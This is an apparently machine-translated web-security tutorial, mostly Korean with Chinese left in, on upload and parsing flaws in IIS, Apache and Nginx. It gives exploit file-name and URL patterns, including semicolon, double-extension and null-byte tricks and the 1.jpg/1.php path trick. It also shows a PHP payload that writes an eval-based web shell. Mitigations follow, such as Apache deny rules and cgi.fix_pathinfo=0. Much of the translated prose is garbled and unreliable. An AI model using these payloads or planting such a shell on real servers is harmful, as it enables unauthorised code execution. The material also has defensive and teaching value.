안전하지 않은 파일 다운로드 및 업로드 - 구문 분석 취약점의 서버 업로드 취약점

구문 분석 취약점의 서버 업로드 취약점

업로드 IIS5.x - 6.x의 구문 분석 취약점 허점

서버, 주로 서버의 Windows를 사용 iis5.x-하여 6.x 버전
2003, 더 고대의 사이트는 일반적으로 ASP 문을 개발, 구문 분석 취약점은 ASP 파일이 아닌 구문 분석 영문 파일을 해결할 수 있습니다.

디렉토리 구문 분석 (6.0)

		形式:www.xxx.com/xx.asp/xx.jpg
		原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

파일 구문 분석

		形式:www.xxx.com/xx.asp;.jpg
		原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

파일 형식을 구문 분석

		IIS6.0 默认的可执行文件除了asp还包含这三种 :
			/test.asa
			/test.cer
			/test.cdx

재활 프로그램

		1.目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。
		2.做好权限设置,限制用户创建文件夹。

아파치 파싱 취약점 업로드 허점

취약점 원리

규칙 아파치는 판사에 남아 다음 접미사 인식 할 수없는 파일을 구문 분석 여부를 결정하기 위해 분석을 시작하고, 왼쪽에 파일이 오른쪽에서입니다 구문 분석합니다. 예를 들어 test.php.owf.rar 들어
와 ".RAR"접미사 두 인식 할 수없는 구문 분석 아파치 ".owf", 아파치는 oldboy.php.owf.rar PHP로 해석됩니다.

취약점 양식

		www.xxxx.xxx.com/test.php.php123

취약점으로 이어지는 나머지 구성 문제

(1)에서 아파치의 conf의 같은 라인 구성 AddHandler에 PHP5 - 스크립트 .PHP가있는 경우
긴 파일 이름이 .PHP 파일 이름을 포함으로 PHP가 수행됩니다도 함께 test2.php.jpg는이 경우가.
(2) 아파치 conf의 애플리케이션으로 AddType / X-아파치 - PHP의 배치와 같은 라인이 있으면 .JPG 확장자가 JPG하더라도이 PHP는 동일한 방식으로 수행 될 수있다.

재활 프로그램

		1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入
<Files ~.(php.|php3.)>
        Order Allow,Deny
        Deny from all
</Files>

2. 의사 정적 mod_rewrite.so /을 LoadModule rewrite_module 모듈을 찾을 수 *. 유사한 .PHP를 오버라이드 (override), 이러한 문서를이 문제를 해결 아파치의 httpd.conf를 엽니 다
사이트의 루트 디렉토리에 내장 된 아파치를 다시 시작 제거 숫자 번호를. htaccess로 파일로 다음과 같습니다 :

	<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>

구문 분석 취약점의 nginx를 업로드 취약점

취약점 원리

		  Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
			PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

취약점 양식

		www.xxxx.com/UploadFiles/image/1.jpg/1.php
		www.xxxx.com/UploadFiles/image/1.jpg%00.php
		www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
		xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)
	另外一种手法:上传一个名字为test.jpg,以下内容的文件。


<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
			然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

재활 프로그램

		1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0;
		2.在Nginx配置文件中添加以下代码:
		if ( $fastcgi_script_name ~ ..*/.*php ) 
{
return 403;
}

URL이 유사한 test.jpg를 일치 할 때 / a.php에 오류 코드 403가 반환이 줄을 의미합니다. 업로드 허점 IIS7.5 8 구문 분석 취약점
의 nginx 유사과 취약점 IIS7.5은하지의 nginx 또는 IIS7.5 취약점 자체 인 cgi.fix_pathinfo를 열 때문에 PHP 설정 파일입니다.
https://www.xp.cn/a.php/182.html에게
설치가 완료되면 기본 cgi.fix_pathinfo = 1, 방문의 시간에 php.ini 파일은 URL 경로 확장은 .PHP 추가 할 때 PHP 파일을 구문 분석으로, 그 결과 취약점
참고 : 실제 시험 전에, 내가 허점을 발견하고 더 나중에 데이터 파일을 처리하는 데 사용되는 것 같다 FastCGI를 오프 설정할 수 발견되지
방위 넣어 CGI를. fix_pathinfo = 0, 당신은 높은 수준의 포인트를 재생할 수 있기 때문에 개방 FastCGI를,
cmd.txt 파일 내용을 만들 수를

<?php
				fputs(fopen('shell.php','w'),'<?php  phpinfo();?>');
				//创建新的文件
				?>
		保存后,重命名为cmd.jpg 文件
		再次进行访问

주의하십시오

			当phpstudy切换回去的时候,不一定可以运行,需要进行再配置
게시 80 개 원래 기사 · 원 찬양 8 · 보기 (4213)

추천

출처blog.csdn.net/weixin_43079958/article/details/105377290